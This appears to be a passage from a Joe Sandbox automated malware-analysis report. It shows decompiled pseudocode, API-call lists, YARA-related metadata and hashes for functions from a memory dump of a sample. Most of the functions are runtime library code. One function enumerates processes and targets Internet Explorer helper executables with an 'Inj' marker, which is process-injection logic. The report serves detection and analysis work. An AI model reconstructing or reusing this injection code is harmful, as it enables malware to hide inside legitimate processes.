											 *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
											E00450358( *_t190);
											L10:
											goto L2;
										}
									}
									_t269 = _t134;
									goto L22;
								} else {
									_t269 = E00455A0B(_t205,  *_t190);
									__eflags = _t269;
									if(__eflags != 0) {
										L22:
										E0044BC3C(__eflags,  *_t190);
										return _t269;
									}
									goto L20;
								}
							}
							_t270 = GetLastError();
							E004404F7(_t270);
							 *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
							CloseHandle(_t252);
							__eflags = _t270;
							if(_t270 == 0) {
								 *((intOrPtr*)(E0044052D())) = 0xd;
							}
							goto L2;
						}
						_t234 = _v44;
						__eflags = (_t234 & 0xc0000000) - 0xc0000000;
						if((_t234 & 0xc0000000) != 0xc0000000) {
							L9:
							_t235 =  *_t190;
							_t237 = (_t235 & 0x0000003f) * 0x30;
							_t180 =  *((intOrPtr*)(0x472810 + (_t235 >> 6) * 4));
							_t33 = _t180 + _t237 + 0x28;
							 *_t33 =  *(_t180 + _t237 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E004404F7(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t284 = _t277 - 0x18;
						_v44 = _t234 & 0x7fffffff;
						_t239 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t284,  &_v48, _t239 << 2);
						_t197 = 0;
						_t252 = E004557FA();
						_t277 = _t284 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E0044051A()) =  *_t186 & 0x00000000;
						 *_t190 = _t263;
						 *((intOrPtr*)(E0044052D())) = 0x18;
						goto L2;
					}
				} else {
					 *(E0044051A()) =  *_t188 & 0x00000000;
					 *_a8 = _t263;
					L2:
					return  *((intOrPtr*)(E0044052D()));
				}
			}





















































                                    0x00455b4f
                                    0x00455b53
                                    0x00455b54
                                    0x00455b54
                                    0x00455b54
                                    0x00455b56
                                    0x00455b5c
                                    0x00455b77
                                    0x00455b7c
                                    0x00455b7f
                                    0x00455b81
                                    0x00455b83
                                    0x00455ba2
                                    0x00455ba9
                                    0x00455bb0
                                    0x00455bb3
                                    0x00455bbf
                                    0x00455bc2
                                    0x00455bca
                                    0x00455bcb
                                    0x00455bce
                                    0x00455bce
                                    0x00455bd5
                                    0x00455bd7
                                    0x00455bda
                                    0x00455be2
                                    0x00455be5
                                    0x00455c52
                                    0x00455c53
                                    0x00455c59
                                    0x00455c5b
                                    0x00455ca4
                                    0x00455ca7
                                    0x00455cb0
                                    0x00455cb3
                                    0x00455cb6
                                    0x00455cb8
                                    0x00455cb8
                                    0x00455cb8
                                    0x00455ca9
                                    0x00455cac
                                    0x00455cac
                                    0x00455cbd
                                    0x00455cc0
                                    0x00455ccc
                                    0x00455cd1
                                    0x00455cdd
                                    0x00455ce7
                                    0x00455ceb
                                    0x00455cf5
                                    0x00455cf8
                                    0x00455d03
                                    0x00455d08
                                    0x00455d18
                                    0x00455d1b
                                    0x00455d1f
                                    0x00455d20
                                    0x00455d26
                                    0x00455d2b
                                    0x00455d2e
                                    0x00455d30
                                    0x00455d32
                                    0x00455d37
                                    0x00455d3a
                                    0x00455d3c
                                    0x00455d66
                                    0x00455d8a
                                    0x00455d8e
                                    0x00455d92
                                    0x00455d94
                                    0x00455d98
                                    0x00455d9a
                                    0x00455da4
                                    0x00455da7
                                    0x00455dae
                                    0x00455dae
                                    0x00455dae
                                    0x00455dae
                                    0x00455d98
                                    0x00455db3
                                    0x00455dbf
                                    0x00455dc1
                                    0x00455e4c
                                    0x00455e4c
                                    0x00000000
                                    0x00455dc7
                                    0x00455dc7
                                    0x00455dcb
                                    0x00000000
                                    0x00000000
                                    0x00455dd0
                                    0x00455de2
                                    0x00455dea
                                    0x00455ded
                                    0x00455dee
                                    0x00455df1
                                    0x00455df8
                                    0x00455dfd
                                    0x00455e00
                                    0x00455e34
                                    0x00455e3e
                                    0x00455e3e
                                    0x00455e48
                                    0x00000000
                                    0x00455e48
                                    0x00455e09
                                    0x00455e22
                                    0x00455e29
                                    0x00455c4c
                                    0x00000000
                                    0x00455c4c
                                    0x00455dc1
                                    0x00455d3e
                                    0x00000000
                                    0x00455d0a
                                    0x00455d11
                                    0x00455d14
                                    0x00455d16
                                    0x00455d40
                                    0x00455d42
                                    0x00000000
                                    0x00455d48
                                    0x00000000
                                    0x00455d16
                                    0x00455d08
                                    0x00455c63
                                    0x00455c66
                                    0x00455c81
                                    0x00455c86
                                    0x00455c8c
                                    0x00455c8e
                                    0x00455c99
                                    0x00455c99
                                    0x00000000
                                    0x00455c8e
                                    0x00455be7
                                    0x00455bee
                                    0x00455bf0
                                    0x00455c27
                                    0x00455c27
                                    0x00455c31
                                    0x00455c34
                                    0x00455c3b
                                    0x00455c3b
                                    0x00455c3b
                                    0x00455c47
                                    0x00000000
                                    0x00455c47
                                    0x00455bf2
                                    0x00455bf6
                                    0x00000000
                                    0x00000000
                                    0x00455bf8
                                    0x00455c07
                                    0x00455c0c
                                    0x00455c0f
                                    0x00455c10
                                    0x00455c13
                                    0x00455c13
                                    0x00455c1a
                                    0x00455c1c
                                    0x00455c1f
                                    0x00455c22
                                    0x00455c25
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00455b85
                                    0x00455b8a
                                    0x00455b8d
                                    0x00455b94
                                    0x00000000
                                    0x00455b94
                                    0x00455b5e
                                    0x00455b63
                                    0x00455b69
                                    0x00455b6b
                                    0x00000000
                                    0x00455b70

                                    APIs
                                      • Part of subcall function 004557FA: CreateFileW.KERNEL32(00000000,00000000,?,00455BD5,?,?,00000000,?,00455BD5,00000000,0000000C), ref: 00455817
                                    • GetLastError.KERNEL32 ref: 00455C40
                                    • __dosmaperr.LIBCMT ref: 00455C47
                                    • GetFileType.KERNEL32(00000000), ref: 00455C53
                                    • GetLastError.KERNEL32 ref: 00455C5D
                                    • __dosmaperr.LIBCMT ref: 00455C66
                                    • CloseHandle.KERNEL32(00000000), ref: 00455C86
                                    • CloseHandle.KERNEL32(?), ref: 00455DD0
                                    • GetLastError.KERNEL32 ref: 00455E02
                                    • __dosmaperr.LIBCMT ref: 00455E09
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                    • String ID: H
                                    • API String ID: 4237864984-2852464175
                                    • Opcode ID: 399b877e36de6a5c117d04748259f3f5ee8ff48d0ba2fa8d85c55bfe295cd247
                                    • Instruction ID: 2000e604372f4d0ffa0c7cdbeb809bedd4824b241666285c20e7fe1827005e35
                                    • Opcode Fuzzy Hash: 399b877e36de6a5c117d04748259f3f5ee8ff48d0ba2fa8d85c55bfe295cd247
                                    • Instruction Fuzzy Hash: A6A147329006449FDF19DF68DCA57BE3BA0EB06325F14015EEC11AB392CB399C16CB5A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040F3C2 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 98%
                                    			E0040F3C2(void* __eflags, char _a4) {
				char _v0;
				void* _v8;
				char _v24;
				short _v524;
				char _v528;
				char _v540;
				char _v1060;
				char _v1088;
				void* _v1092;
				char _v1108;
				char _v1112;
				char _v1140;
				char _v1148;
				char _v1152;
				char _v1160;
				void* _v1164;
				char _v1172;
				char _v1184;
				void* _v1188;
				char _v1196;
				char _v1197;
				char _v1200;
				char _v1201;
				char _v1208;
				char _v1212;
				char _v1216;
				char _v1220;
				void* _v1224;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t70;
				void* _t77;
				void* _t78;
				char _t79;
				intOrPtr* _t106;
				void* _t112;
				void* _t116;
				void* _t130;
				void* _t187;
				void* _t200;
				void* _t201;

				_t130 = 0;
				GetModuleFileNameW(0,  &_v524, 0x104);
				_t184 = "1";
				if(E004077C6("1") != 0) {
					L14:
					E00401F13( &_a4, _t184, _t196, E0041B5DC( &_v1148, __eflags));
					E00401F09();
					_t70 = E004110A3( &_v528,  &_v0);
					__eflags = _t70;
					if(_t70 == 0) {
						goto L15;
					}
				} else {
					E00401F86(0,  &_v1172);
					_t200 = CreateToolhelp32Snapshot(2, 0);
					_v1088 = 0x22c;
					_push( &_v1088);
					Process32FirstW(_t200);
					while(Process32NextW(_t200,  &_v1092) != 0) {
						E0040417E(_t130,  &_v1208, _t184, _t200,  &_v1060);
						_t106 = E00402305( &_v1212,  &_v1140);
						_t196 = E004022CA( &_v1216,  &_v1140);
						E00409BDB( &_v1140,  *((intOrPtr*)(E00402305( &_v1220,  &_v1140))),  *_t108,  *_t106);
						_t201 = _t201 + 0xc;
						_t184 =  &_v24;
						_t112 = E0040B91A( &_v24);
						__eflags = _t112;
						if(_t112 != 0) {
							E00401F13( &_v1184, _v1088, _t196, E0041C12F( &_v1160, _v1088));
							E00401F09();
							_t116 = E004077C6( &_v540);
							__eflags = _t116;
							if(_t116 == 0) {
								_t184 = 0x466468;
								__eflags = E004077C6(0x466468);
								if(__eflags != 0) {
									L12:
									E00401F09();
									L13:
									E00401F09();
									goto L14;
								} else {
									__eflags = E0041BF37(_v1088);
									if(__eflags != 0) {
										goto L12;
									} else {
										E0040B8BA( &_v1184);
										E00401F09();
										break;
									}
								}
							} else {
								E00401F09();
								E00401F09();
							}
						} else {
							E00401F09();
							continue;
						}
						goto L22;
					}
					CloseHandle(_t200);
					_t184 = 0x466468;
					if(E004077C6(0x466468) != 0) {
						goto L13;
					} else {
						E00401F09();
						L15:
						CloseHandle( *0x472d44);
						E004020DF(_t130,  &_v1108);
						E00401F04(0x4752d8);
						E0041C3D7( &_v1108);
						_t77 = E00401FAB( &_v1108);
						_t78 = E00401F04( &_a4);
						_t187 = _t77;
						_t79 = E004184BA(_t78);
						_v1197 = _t79;
						if(_t79 != 0) {
							L20:
							E004137C5(0x4752f0, E00401FAB(0x4752f0), "Inj", 1);
							_t130 = _v1197;
						} else {
							E0040417E(_t130,  &_v1196, _t187, _t200, L"C:\\Program Files(x86)\\Internet Explorer\\");
							E00401FAB( &_v1112);
							_v1201 = E004184BA(E00401F04(E0040915B( &_v1152,  &_v1200, _t200, L"ieinstal.exe")));
							E00401F09();
							if(_v1201 != _t130) {
								L19:
								E00401F09();
								goto L20;
							} else {
								E00401FAB( &_v1108);
								_v1197 = E004184BA(E00401F04(E0040915B( &_v1148,  &_v1196, _t200, L"ielowutil.exe")));
								E00401F09();
								if(_v1197 != _t130) {
									goto L19;
								} else {
									E0040CFB7();
									E00401F09();
								}
							}
						}
						E00401FD8();
					}
				}
				L22:
				E00401F09();
				return _t130;
			}













































                                    0x0040f3d9
                                    0x0040f3dc
                                    0x0040f3e2
                                    0x0040f3f5
                                    0x0040f57c
                                    0x0040f58d
                                    0x0040f596
                                    0x0040f5a9
                                    0x0040f5ae
                                    0x0040f5b0
                                    0x00000000
                                    0x00000000
                                    0x0040f3fb
                                    0x0040f3ff
                                    0x0040f40d
                                    0x0040f40f
                                    0x0040f421
                                    0x0040f423
                                    0x0040f499
                                    0x0040f437
                                    0x0040f445
                                    0x0040f45a
                                    0x0040f474
                                    0x0040f479
                                    0x0040f47c
                                    0x0040f487
                                    0x0040f48c
                                    0x0040f48e
                                    0x0040f4f0
                                    0x0040f4f9
                                    0x0040f509
                                    0x0040f50e
                                    0x0040f510
                                    0x0040f529
                                    0x0040f537
                                    0x0040f539
                                    0x0040f56a
                                    0x0040f56e
                                    0x0040f577
                                    0x0040f577
                                    0x00000000
                                    0x0040f53b
                                    0x0040f547
                                    0x0040f549
                                    0x00000000
                                    0x0040f54b
                                    0x0040f557
                                    0x0040f560
                                    0x00000000
                                    0x0040f560
                                    0x0040f549
                                    0x0040f512
                                    0x0040f516
                                    0x0040f51f
                                    0x0040f51f
                                    0x0040f490
                                    0x0040f494
                                    0x00000000
                                    0x0040f494
                                    0x00000000
                                    0x0040f48e
                                    0x0040f4b1
                                    0x0040f4b7
                                    0x0040f4cb
                                    0x00000000
                                    0x0040f4d1
                                    0x0040f4d1
                                    0x0040f5b6
                                    0x0040f5bc
                                    0x0040f5c6
                                    0x0040f5d0
                                    0x0040f5db
                                    0x0040f5e4
                                    0x0040f5f2
                                    0x0040f5f7
                                    0x0040f5fb
                                    0x0040f600
                                    0x0040f606
                                    0x0040f6b5
                                    0x0040f6c8
                                    0x0040f6cd
                                    0x0040f60c
                                    0x0040f615
                                    0x0040f61e
                                    0x0040f64c
                                    0x0040f650
                                    0x0040f659
                                    0x0040f6ac
                                    0x0040f6b0
                                    0x00000000
                                    0x0040f65b
                                    0x0040f65f
                                    0x0040f68d
                                    0x0040f691
                                    0x0040f69a
                                    0x00000000
                                    0x0040f69c
                                    0x0040f69c
                                    0x0040f6a5
                                    0x0040f6a5
                                    0x0040f69a
                                    0x0040f659
                                    0x0040f6d7
                                    0x0040f6d7
                                    0x0040f4cb
                                    0x0040f6dc
                                    0x0040f6e3
                                    0x0040f6f4

                                    APIs
                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F3DC
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F407
                                    • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F423
                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F4A2
                                    • CloseHandle.KERNEL32(00000000,?,00000000,?,?,00475338), ref: 0040F4B1
                                      • Part of subcall function 0041C12F: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C147
                                      • Part of subcall function 0041C12F: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C15A
                                    • CloseHandle.KERNEL32(00000000,?,00475338), ref: 0040F5BC
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                                    • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                    • API String ID: 3756808967-1743721670
                                    • Opcode ID: a4bb80985245e5db93875eebe7987b2cca875a65a25ed7ed718a609fe76a34e1
                                    • Instruction ID: 13a39de969c7b5305b51df32e2aaf3de8b52a72c3f56e179bf551bb825215f5c
                                    • Opcode Fuzzy Hash: a4bb80985245e5db93875eebe7987b2cca875a65a25ed7ed718a609fe76a34e1
                                    • Instruction Fuzzy Hash: 45714E705083419BC724EB21D8919AEB7A4AF90348F40483FF586631E3EF7C994ECB5A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00450976 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E00450976(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t53;
				void _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				signed int _t64;
				char _t92;
				char _t100;
				void* _t101;
				signed int _t104;
				void* _t107;
				void* _t121;
				char* _t123;
				signed int _t127;
				intOrPtr* _t132;
				void* _t133;
				intOrPtr* _t134;
				signed int _t135;
				signed int _t136;
				signed int _t137;
				signed int _t138;
				char* _t139;

				_t121 = __edx;
				_t100 = _a4;
				_v28 = _t100;
				_v24 = 0;
				if( *((intOrPtr*)(_t100 + 0xb0)) != 0 ||  *((intOrPtr*)(_t100 + 0xac)) != 0) {
					_v16 = 1;
					_t53 = E00445A43(_t101, 1, 0x50);
					_v8 = _t53;
					if(_t53 != 0) {
						_t104 = 0x14;
						memcpy(_t53,  *(_t100 + 0x88), _t104 << 2);
						_t132 = E00446087(0, 4);
						_t127 = 0;
						_v12 = _t132;
						E00446652(0);
						_pop(_t107);
						if(_t132 != 0) {
							 *_t132 = 0;
							if( *((intOrPtr*)(_t100 + 0xb0)) == 0) {
								_t133 = _v8;
								_t57 =  *0x471188; // 0x471180
								 *_t133 = _t57;
								_t58 =  *0x47118c; // 0x47265c
								 *((intOrPtr*)(_t133 + 4)) = _t58;
								_t59 =  *0x471190; // 0x47265c
								 *((intOrPtr*)(_t133 + 8)) = _t59;
								_t60 =  *0x4711b8; // 0x471184
								 *((intOrPtr*)(_t133 + 0x30)) = _t60;
								_t61 =  *0x4711bc; // 0x472660
								 *((intOrPtr*)(_t133 + 0x34)) = _t61;
								L19:
								 *_v12 = 1;
								if(_t127 != 0) {
									 *_t127 = 1;
								}
								goto L21;
							}
							_t134 = E00446087(_t107, 4);
							_v20 = _t134;
							E00446652(0);
							if(_t134 == 0) {
								L11:
								E00446652(_v8);
								E00446652(_v12);
								return _v16;
							}
							 *_t134 = 0;
							_t128 =  *((intOrPtr*)(_t100 + 0xb0));
							_t135 = E00452DC5(_t100, _t121,  *((intOrPtr*)(_t100 + 0xb0)), _t134,  &_v28, 1,  *((intOrPtr*)(_t100 + 0xb0)), 0xe, _v8);
							_t136 = _t135 | E00452DC5(_t100, _t121,  *((intOrPtr*)(_t100 + 0xb0)), _t135,  &_v28, 1, _t128, 0xf, _v8 + 4);
							_v16 = _v8 + 8;
							_t137 = _t136 | E00452DC5(_t100, _t121, _t128, _t136,  &_v28, 1, _t128, 0x10, _v8 + 8);
							_t138 = _t137 | E00452DC5(_t100, _t121, _t128, _t137,  &_v28, 2, _t128, 0xe, _v8 + 0x30);
							if((E00452DC5(_t100, _t121, _t128, _t138,  &_v28, 2, _t128, 0xf, _v8 + 0x34) | _t138) == 0) {
								_t123 =  *_v16;
								while( *_t123 != 0) {
									_t92 =  *_t123;
									if(_t92 < 0x30 || _t92 > 0x39) {
										if(_t92 != 0x3b) {
											goto L16;
										}
										_t139 = _t123;
										do {
											 *_t139 =  *((intOrPtr*)(_t139 + 1));
											_t139 = _t139 + 1;
										} while ( *_t139 != 0);
									} else {
										 *_t123 = _t92 - 0x30;
										L16:
										_t123 = _t123 + 1;
									}
								}
								_t127 = _v20;
								_t133 = _v8;
								goto L19;
							}
							E0045090D(_v8);
							_v16 = _v16 | 0xffffffff;
							goto L11;
						}
						E00446652(_v8);
						return 1;
					}
					return 1;
				} else {
					_t127 = 0;
					_v12 = 0;
					_t133 = 0x471188;
					L21:
					_t64 =  *(_t100 + 0x80);
					if(_t64 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t100 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t64 | 0xffffffff) == 0) {
							E00446652( *((intOrPtr*)(_t100 + 0x7c)));
							E00446652( *(_t100 + 0x88));
						}
					}
					 *((intOrPtr*)(_t100 + 0x7c)) = _v12;
					 *(_t100 + 0x80) = _t127;
					 *(_t100 + 0x88) = _t133;
					return 0;
				}
			}



































                                    0x00450976
                                    0x0045097f
                                    0x00450986
                                    0x00450989
                                    0x00450992
                                    0x004509b1
                                    0x004509b4
                                    0x004509b9
                                    0x004509c0
                                    0x004509d3
                                    0x004509d4
                                    0x004509dd
                                    0x004509df
                                    0x004509e2
                                    0x004509e5
                                    0x004509eb
                                    0x004509ee
                                    0x00450a01
                                    0x00450a09
                                    0x00450b63
                                    0x00450b66
                                    0x00450b6b
                                    0x00450b6d
                                    0x00450b72
                                    0x00450b75
                                    0x00450b7a
                                    0x00450b7d
                                    0x00450b82
                                    0x00450b85
                                    0x00450b8a
                                    0x00450af3
                                    0x00450af9
                                    0x00450afd
                                    0x00450aff
                                    0x00450aff
                                    0x00000000
                                    0x00450afd
                                    0x00450a16
                                    0x00450a19
                                    0x00450a1c
                                    0x00450a25
                                    0x00450aba
                                    0x00450abd
                                    0x00450ac6
                                    0x00000000
                                    0x00450acf
                                    0x00450a2e
                                    0x00450a33
                                    0x00450a47
                                    0x00450a5b
                                    0x00450a67
                                    0x00450a75
                                    0x00450a8f
                                    0x00450aab
                                    0x00450ad5
                                    0x00450ae8
                                    0x00450ad9
                                    0x00450add
                                    0x00450b50
                                    0x00000000
                                    0x00000000
                                    0x00450b52
                                    0x00450b54
                                    0x00450b57
                                    0x00450b59
                                    0x00450b5c
                                    0x00450ae3
                                    0x00450ae5
                                    0x00450ae7
                                    0x00450ae7
                                    0x00450ae7
                                    0x00450add
                                    0x00450aed
                                    0x00450af0
                                    0x00000000
                                    0x00450af0
                                    0x00450ab0
                                    0x00450ab5
                                    0x00000000
                                    0x00450ab9
                                    0x004509f3
                                    0x00000000
                                    0x004509fb
                                    0x00000000
                                    0x0045099c
                                    0x0045099c
                                    0x0045099e
                                    0x004509a1
                                    0x00450b01
                                    0x00450b01
                                    0x00450b09
                                    0x00450b0b
                                    0x00450b0b
                                    0x00450b13
                                    0x00450b18
                                    0x00450b1c
                                    0x00450b21
                                    0x00450b2c
                                    0x00450b32
                                    0x00450b1c
                                    0x00450b36
                                    0x00450b3b
                                    0x00450b41
                                    0x00000000
                                    0x00450b41

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free
                                    • String ID: \&G$\&G$`&G
                                    • API String ID: 269201875-253610517
                                    • Opcode ID: 852f462f000161ba9b9959a0d0f465cb52e0a9b8631113175a36110267b15b18
                                    • Instruction ID: b559cb90ed3280b6877a8961c357ec855bafab19853227fde94d840fe2c105a3
                                    • Opcode Fuzzy Hash: 852f462f000161ba9b9959a0d0f465cb52e0a9b8631113175a36110267b15b18
                                    • Instruction Fuzzy Hash: E2610175900204AFDB20CFA9C882B9EBBF5EF19315F14416BED48EB242D774AD45CB58
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00414AFE Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 38%
                                    			E00414AFE(char _a4, signed short _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed char _a28) {
				intOrPtr _v0;
				short _v4;
				char _v8;
				char* _v12;
				signed short _v20;
				intOrPtr _v24;
				char _t36;
				short _t37;
				intOrPtr* _t44;
				void* _t47;
				void* _t49;
				char* _t52;
				signed short* _t58;
				signed char _t63;
				intOrPtr _t64;
				signed short _t69;
				void* _t71;
				void* _t72;
				intOrPtr _t73;
				intOrPtr* _t74;
				intOrPtr _t76;
				void* _t77;

				_t77 =  &_v12;
				_t36 =  *((intOrPtr*)("65535")); // 0x33353536
				_v8 = _t36;
				_t37 =  *0x46c628; // 0x35
				_t74 = _a4;
				_v4 = _t37;
				_v12 =  &_v8;
				if(_t74 == 0 || _a8 < 0x10) {
					L42:
					return 0x2afb;
				} else {
					_t71 = 2;
					if( *_t74 != _t71) {
						return 0x273f;
					}
					_t76 = _a24;
					_t64 = _a20;
					_t73 = _a16;
					if(_a12 == 0 || _t73 == 0) {
						if(_t64 == 0 || _t76 == 0) {
							return 0x2af9;
						} else {
							goto L8;
						}
					} else {
						L8:
						_t63 = _a28;
						_t42 = _t63 & 0x00000006;
						if((_t63 & 0x00000006) != 6) {
							if(_t64 == 0 || _t76 == 0) {
								L21:
								if(_a12 == 0 || _t73 == 0) {
									L40:
									return 0;
								} else {
									_t44 =  *((intOrPtr*)(_t74 + 4));
									_a4 = _t44;
									if((_t63 & 0x00000002) == 0) {
										_t44 =  &_a4;
										__imp__#51(_t44, 4, _t71);
										if(_t44 == 0) {
											L30:
											if((_t63 & 0x00000004) == 0) {
												_push(_v8);
												L37:
												__imp__#12();
												_t75 = _t44;
												L38:
												if(_t73 <= E0043A8E0(_t75)) {
													goto L42;
												}
												E0044198E(_v4, _t73, _t75);
												goto L40;
											}
											__imp__#111();
											_t47 = _t44 - 0x2af9;
											if(_t47 == 0) {
												L34:
												return 0x2af9;
											}
											_t49 = _t47 - 1;
											if(_t49 == 0) {
												return 0x2afa;
											}
											if(_t49 == 1) {
												goto L42;
											}
											goto L34;
										}
										_t75 =  *_t44;
										if( *_t44 == 0) {
											goto L30;
										}
										if((_t63 & 0x00000001) != 0) {
											_t52 = L0041449C(_t75, 0x2e);
											if(_t52 != 0) {
												 *_t52 = 0;
											}
										}
										goto L38;
									}
									_push(_t44);
									goto L37;
								}
							} else {
								_t69 =  *(_t74 + 2) & 0x0000ffff;
								_a8 = _t69;
								if((_t63 & 0x00000008) == 0) {
									_t72 = 0;
									_t54 =  ==  ? _t72 : "udp";
									_t42 = _t69 & 0x0000ffff;
									__imp__#56(_t42,  ==  ? _t72 : "udp");
									if(_t42 == 0) {
										L17:
										_push(_v0);
										L18:
										__imp__#15();
										E00414521( &_v20, 6, "%u", _t42 & 0x0000ffff);
										_t58 =  &_v20;
										_t77 = _t77 + 0x10;
										L19:
										if(_t76 <= E0043A8E0(_t58)) {
											goto L42;
										}
										E0044198E(_a8, _t76, _v24);
										_t77 = _t77 + 0xc;
										_t71 = 2;
										goto L21;
									}
									_t42 =  *_t42;
									if(_t42 == 0) {
										goto L17;
									}
									_v20 = _t42;
									goto L19;
								}
								_push(_t69);
								goto L18;
							}
						}
						return 0x2726;
					}
				}
			}

























                                    0x00414afe
                                    0x00414b01
                                    0x00414b07
                                    0x00414b0b
                                    0x00414b13
                                    0x00414b17
                                    0x00414b20
                                    0x00414b27
                                    0x00414cc5
                                    0x00000000
                                    0x00414b38
                                    0x00414b3a
                                    0x00414b3e
                                    0x00000000
                                    0x00414b40
                                    0x00414b4f
                                    0x00414b53
                                    0x00414b57
                                    0x00414b5b
                                    0x00414b63
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00414b71
                                    0x00414b71
                                    0x00414b71
                                    0x00414b77
                                    0x00414b7c
                                    0x00414b8a
                                    0x00414c1a
                                    0x00414c1f
                                    0x00414cba
                                    0x00000000
                                    0x00414c2d
                                    0x00414c2d
                                    0x00414c30
                                    0x00414c37
                                    0x00414c3f
                                    0x00414c44
                                    0x00414c4c
                                    0x00414c6c
                                    0x00414c6f
                                    0x00414c95
                                    0x00414c99
                                    0x00414c99
                                    0x00414c9f
                                    0x00414ca1
                                    0x00414caa
                                    0x00000000
                                    0x00000000
                                    0x00414cb2
                                    0x00000000
                                    0x00414cb7
                                    0x00414c71
                                    0x00414c7c
                                    0x00414c7e
                                    0x00414c8a
                                    0x00000000
                                    0x00414c8a
                                    0x00414c80
                                    0x00414c83
                                    0x00000000
                                    0x00414c8e
                                    0x00414c88
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00414c88
                                    0x00414c4e
                                    0x00414c52
                                    0x00000000
                                    0x00000000
                                    0x00414c57
                                    0x00414c5c
                                    0x00414c65
                                    0x00414c67
                                    0x00414c67
                                    0x00414c65
                                    0x00000000
                                    0x00414c57
                                    0x00414c39
                                    0x00000000
                                    0x00414c39
                                    0x00414b98
                                    0x00414b98
                                    0x00414b9c
                                    0x00414ba3
                                    0x00414baa
                                    0x00414bb3
                                    0x00414bb7
                                    0x00414bbb
                                    0x00414bc3
                                    0x00414bd1
                                    0x00414bd1
                                    0x00414bd5
                                    0x00414bd5
                                    0x00414beb
                                    0x00414bf0
                                    0x00414bf4
                                    0x00414bf7
                                    0x00414c00
                                    0x00000000
                                    0x00000000
                                    0x00414c0f
                                    0x00414c14
                                    0x00414c19
                                    0x00000000
                                    0x00414c19
                                    0x00414bc5
                                    0x00414bc9
                                    0x00000000
                                    0x00000000
                                    0x00414bcb
                                    0x00000000
                                    0x00414bcb
                                    0x00414ba5
                                    0x00000000
                                    0x00414ba5
                                    0x00414b8a
                                    0x00000000
                                    0x00414b7e
                                    0x00414b5b

                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 65535$udp
                                    • API String ID: 0-1267037602
                                    • Opcode ID: c4a3a443ba8a8e86af3798ef0303fd3069aa4a26812690c3d4f5259e9e23e8c3
                                    • Instruction ID: 051c0f30642710e13621db1912ec5ec9d8b1a7523cec46bb75380b975f6c639f
                                    • Opcode Fuzzy Hash: c4a3a443ba8a8e86af3798ef0303fd3069aa4a26812690c3d4f5259e9e23e8c3
                                    • Instruction Fuzzy Hash: 1D51DE7120A3019BD3209E68C909BBB77E4ABC4754F05092FF88697391F76DDCC196AE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

